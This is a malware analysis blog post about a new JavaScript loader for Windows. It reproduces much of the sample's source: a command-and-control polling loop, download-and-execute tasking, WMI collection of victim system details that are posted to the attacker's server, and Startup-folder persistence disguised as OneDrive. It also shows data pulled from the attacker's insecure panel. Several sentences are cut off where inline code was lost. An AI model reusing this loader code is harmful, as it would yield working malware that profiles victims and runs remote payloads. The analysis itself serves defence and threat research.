Original text by marcoramilli
Today I’d like to share a quick analysis on a quite new and unknown threat spotted in the wild. The file which grabbed my attention is called
So I decided to share some little knowledge about this sample and about the infrastructure on its back-end. The purpose of my post is to take a closer look to such a threat, without pretending to attribute or to name it.
Analysis
The Javascript code is quite lean and it is shared in a clear text. No obfuscation techniques were involved in the current sample. The code is commented and the used syntax is punctual without contradictions during the file. Spaces, brackets, loops and variable assignments are clear, unique and always respectful of the file standards. Again no contradictions on syntax suggests the developer was an unique person which wrote the entire code without reuse or team swapping (or at least he spent much time to unify the syntax, which usually it makes not such a sense in the offensive world). The following code is a simple snip of what I meant by lean and respectful code syntax
// Loader version
var version = "OLD";
// Server
var server = "hxxp://93 .115. 21 .62/server/gate.php"; #modified by the blog author to avoid involuntary clik
// Interval between knocks in seconds
var interval = 181;
// How many times repeat failed task
var attemptsCount = 3;
// Status of running loader
var status = "Active";
// Path for download files
var wss = new ActiveXObject('WScript.Shell');
var defaultPath = wss.ExpandEnvironmentStrings('%APPDATA%');
var scriptFullPath = WScript.ScriptFullName;
var scriptName = WScript.ScriptName;
var fakeAutorunName = "MicrosoftOneDrive";
var shellObj = WScript.createObject("WScript.Shell");
// Connecting JSON module
ImportJSON();
// Collecting PC information
var clientInfo = GetClientInfo();
// Adding script to autorun
// Starting loader
while (status == "Active") {
DoTasks(SendClientInfo());
WScript.sleep(interval * 1000);
DoTasks(SendKnock());
}
Initial section of the analyzed source code
The Javascript is made for acting in a Microsoft Windows environment, indeed it use classic execution techniques such as
Main loop
The
while (status == "Active") {
DoTasks(SendClientInfo());
WScript.sleep(interval * 1000);
DoTasks(SendKnock());
}
Loader.js Main Loop
Both of the functions
function SendClientInfo() {
var response;
try {
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
var temp = WinHttpReq.Open("POST", server, false);
WinHttpReq.SetRequestHeader("Content-Type", "application/json");
WinHttpReq.SetRequestHeader("mode", "info");
WinHttpReq.SetRequestHeader("uuid", clientInfo["uuid"]);
WinHttpReq.SetRequestHeader("version", version);
WinHttpReq.Send(JSON.stringify(clientInfo));
WinHttpReq.WaitForResponse();
response = WinHttpReq.ResponseText;
} catch (objError) {
response = objError + "\n"
response += "WinHTTP returned error: " +
(objError.number & 0xFFFF).toString() + "\n\n";
response += objError.description;
}
return response;
}
function SendKnock() {
var response;
try {
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
var temp = WinHttpReq.Open("POST", server, false);
WinHttpReq.SetRequestHeader("Accept", "application/json");
WinHttpReq.SetRequestHeader("mode", "knock");
WinHttpReq.SetRequestHeader("uuid", clientInfo["uuid"]);
WinHttpReq.SetRequestHeader("version", version);
WinHttpReq.Send();
WinHttpReq.WaitForResponse();
response = WinHttpReq.ResponseText;
} catch (objError) {
response = objError + "\n"
response += "WinHTTP returned error: " +
(objError.number & 0xFFFF).toString() + "\n\n";
response += objError.description;
}
return response;
}
Very Clear Style, it looks like the TA won’t use false flags at all or messing around different code styles to emulate code reuse. The entire code looks like be a brand new code base, developed from scratch since no matches have been found.
C2 Communication
The command and control communication is made by the polling loop. The main loop periodically sends to C2 the client information and later it “knocks” to the server which sets up a response piggybacking a specific task to be performed on the victim. The following
while ( (attempts > 0) && (result != 'True') ) {
switch (tasks[task]["type"]) {
case "Download & Execute":
result = DownloadAndExecute(tasks[task]["content"]);
if (result == 'False')
details = "Error: download or executing file failed";
break;
case "Execute":
result = Execute(tasks[task]["content"]);
if (result == 'False')
details = "Error: executing file failed";
break;
case "Terminate":
status = "Stopped";
result = 'True';
break;
default:
result = 'False';
details = "Error: unknown task type";
break;
}
if (result == 'False')
attempts--;
else
details = "Success";
SendTaskResult(tasks[task]["id"], result, details);
}
Switch on
The most interesting functions (at least in my personal point of view) are the following ones:
Interesting to see that the
it’s clear that the malware developer assumes that
But one of the most interesting piece of software is in the way the developer (ab)use the WMI to extract information from local environment. In specific case we see UUID extraction
// Retrieve UUID
try {
var wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_ComputerSystemProduct"))
; !i.atEnd(); i.moveNext() )
initInfo["uuid"] = i.item().UUID;
} catch (err) {
initInfo["uuid"] = 'N/A';
}
IP extraction, this time basing on ipinfo.io
// Retrieve client IP
try {
var ipReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
ipReq.Open("GET", "http://ipinfo.io/ip", false);
ipReq.Send();
ipReq.WaitForResponse();
ipRes = ipReq.ResponseText;
initInfo["ip"] = ipRes.replace(/^\s+|\s+$/g, '');
} catch (err) {
initInfo["ip"] = 'N/A';
}
Country Extraction (based on IP)
// Retrieve country
try {
var countryReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
countryReq.Open("GET", "http://ipinfo.io/country", false);
countryReq.Send();
countryReq.WaitForResponse();
countryRes = countryReq.ResponseText;
initInfo["location"] = countryRes.replace(/^\s+|\s+$/g, '');
} catch (err) {
initInfo["location"] = 'N/A';
}
OS Name Extraction
// Retrieve OS name
try {
for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem")); !i.a
tEnd(); i.moveNext() )
initInfo["os"] = i.item().Caption;
} catch (err) {
initInfo["os"] = 'N/A';
}
User Name and his Role Extraction
// Retrieve User name
try {
var shellObj = new ActiveXObject("WScript.Shell");
var netObj = new ActiveXObject("WScript.Network");
initInfo["user"] = netObj.ComputerName + '/' + shellObj.ExpandEnvironmentStrings("%USERNAME%");
} catch (err) {
initInfo["user"] = 'N/A';
}
// Retrieve user role
try {
initInfo["role"] = "User";
var groupObj = GetObject("WinNT://" + netObj.UserDomain + "/" + shellObj.ExpandEnvironmentStrings("%USERNAME%"))
for (propObj in groupObj.Members)
if (propObj.Name == "Administrators")
initInfo["role"] = "Admin";
} catch (err) {
initInfo["role"] = 'N/A';
}
Antivirus installed Software Extraction
// Retrieve antivirus info
try {
var wmiAV = GetObject("winmgmts:root\\SecurityCenter2");
for ( var i=new Enumerator(wmiAV.ExecQuery("SELECT * FROM AntivirusProduct")); !i.atEnd(); i.moveNext() )
if (!initInfo["antivirus"])
initInfo["antivirus"] = i.item().displayName;
} catch (err) {
initInfo["antivirus"] = 'N/A';
}
CPU, GPU, RAM and Total Storage
// Retrieve CPU name
try {
for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_Processor")); !i.atEnd()
; i.moveNext() )
initInfo["cpu"] = i.item().Name;
} catch (err) {
initInfo["cpu"] = 'N/A';
}
// Retrieve GPU name
try {
for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_VideoController")); !i.a
tEnd(); i.moveNext() )
initInfo["gpu"] = i.item().Name;
} catch (err) {
initInfo["gpu"] = 'N/A';
}
// Retrieve RAM
try {
var ramObj = WScript.CreateObject("Shell.Application");
initInfo["ram"] = Math.round(ramObj.GetSystemInformation("PhysicalMemoryInstalled") /
1048576) + ' MB';
} catch (err) {
initInfo["ram"] = 'N/A';
}
// Retrieve total storage space
try {
var available = 0;
var total = 0;
for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_LogicalDisk")); !i.atEnd(); i.moveNext() ) {
if (i.item().Size != null) {
available += (i.item().FreeSpace / 1024 / 1024 / 1024);
total += (i.item().Size / 1024 / 1024 / 1024);
}
}
initInfo["storage"] = Math.round(available) + ' / ' + Math.round(total) + ' GB';
} catch (err) {
initInfo["storage"] = '0 / 0 GB';
}
Finally the attacker uses a
Persistence
The framework persistence and installation is performed by a simple entry in the
function AddToAutorun() {
try {
startupPath = defaultPath + '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\';
fsObj = WScript.CreateObject('Scripting.FileSystemObject');
fsObj.CopyFile(scriptFullPath, startupPath);
} catch (err) { return; }
}
AutoRun And Persistence
The
External Resources
Another interesting point is in the way the attacker loads the external resources. In this script the developer uses the
function ImportJSON() {
var xObj = WSH.CreateObject('Microsoft.XMLHTTP'),
fso = WSH.CreateObject('Scripting.FileSystemObject'),
temp = WSH.CreateObject('WScript.Shell').Environment('Process')('temp'),
j2lib = 'https://raw.githubusercontent.com/douglascrockford/JSON-js/master/json2.js'
if (fso.FileExists(temp + '\\json2.js')) {
j2lib = fso.OpenTextFile(temp + '\\json2.js', 1);
eval(j2lib.ReadAll());
j2lib.Close();
}
else {
with (xObj) {
open("GET", j2lib, true);
setRequestHeader('User-Agent', 'XMLHTTP/1.0');
send('');
}
while (xObj.readyState != 4) WSH.Sleep(50);
eval(xObj.responseText);
j2lib = fso.CreateTextFile(temp + '\\json2.js', true);
j2lib.Write(xObj.responseText);
j2lib.Close();
}
}
Command And Control Web Panel
By taking a closer look to the Command and Control server, available at the following address:

Fortunately it looks like the panel does not check the login session correctly letting me free to query the single
{
"data": [
{
"name": "AhnLab V3 Lite",
"count": 1
},
{
"name": "Windows Defender",
"count": 3
},
{
"name": "Quick Heal Internet Security",
"count": 1
},
{
"name": "N\\/A",
"count": 1
},
{
"name": "SecureAPlus Antivirus",
"count": 1
},
{
"name": "Emsisoft Anti-Malware",
"count": 1
},
{
"name": "Webroot SecureAnywhere",
"count": 1
}
]
}
So we are able to query the C2 and getting back results in order to estimate how wide is the current attack surface and how is the current victimology. So let’s start on understanding the attack range. It looks like the file
{"online":0,"onlineToday":4,"onlineWeek":9,"onlineMonth":9,"newToday":4,"newWeek":9,"newMonth":9,"dead":0}
We have actually a super small set of victims, maybe because they have been selected or maybe because it is an early stage threat (I would bet on the second hypothesis). By querying the
{"data":[["IN",2],["RU",1],["DE",3],["ES",1],["AZ",2]]}
Sweet ! Now, what if we can query, in the same way, the endpoint named
{
"draw": 0,
"recordsTotal": 9,
"recordsFiltered": 9,
"data": [
{
"id": "2",
"uuid": "18D68C6D-OMISSIS by Author",
"ip": "115.69.OMISSIS by Author",
"location": "IN",
"os": "Microsoft Windows 8.1 Enterprise Evaluation",
"user": "IE11W OMISSIS by Author/IEUser",
"role": "N\\/A",
"antivirus": "AhnLab V3 Lite",
"cpu": "AMD A6-6310 APU with AMD Radeon R4 Graphics ",
"ram": "4096 MB",
"storage": "312 \\/ 465 GB",
"network": "0",
"added": "2020-11-21 17:50:58",
"seen": "2020-11-21 18:05:48",
"version": "OLD"
},
{
"id": "3",
"uuid": "032E02B4-OMISSIS by Author",
"ip": "185.107.1OMISSIS by Author",
"location": "RU",
"os": "\\u041c\\u0430\\u0439\\u043a\\u0440\\u043e\\u0441\\u043e\\u0444\\u0442 Windows 10 Pro",
"user": "DESK OMISSIS by Author H5\\/Admin",
"role": "User",
"antivirus": "Windows Defender",
"cpu": "AMD Ryzen 5 PRO 3400G with Radeon Vega Graphics",
"ram": "14284 MB",
"storage": "535 \\/ 1009 GB",
"network": "0",
"added": "2020-11-21 22:35:17",
"seen": "2020-11-21 22:38:18",
"version": "OLD"
},
{
"id": "4",
"uuid": "67CDDC1F - OMISSIS by Author",
"ip": "94.114.OMISSIS by Author",
"location": "DE",
"os": "Microsoft Windows 10 Pro",
"user": "NQ OMISSIS by Author D1HVy",
"role": "N\\/A",
"antivirus": "Windows Defender",
"cpu": "Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz",
"ram": "4096 MB",
"storage": "487 \\/ 511 GB",
"network": "0",
"added": "2020-11-21 23:48:48",
"seen": "2020-11-21 23:48:48",
"version": "OLD"
},
---- snip ----
],
"debug": "SELECT `id`, `uuid`, `ip`, `location`, `os`, `user`, `role`, `antivirus`, `cpu`, `ram`, `storage`, `network`, `added`, `seen`, `version` FROM `clients` "
}
Quite interesting the debugging strings as well. They show us the database composition.
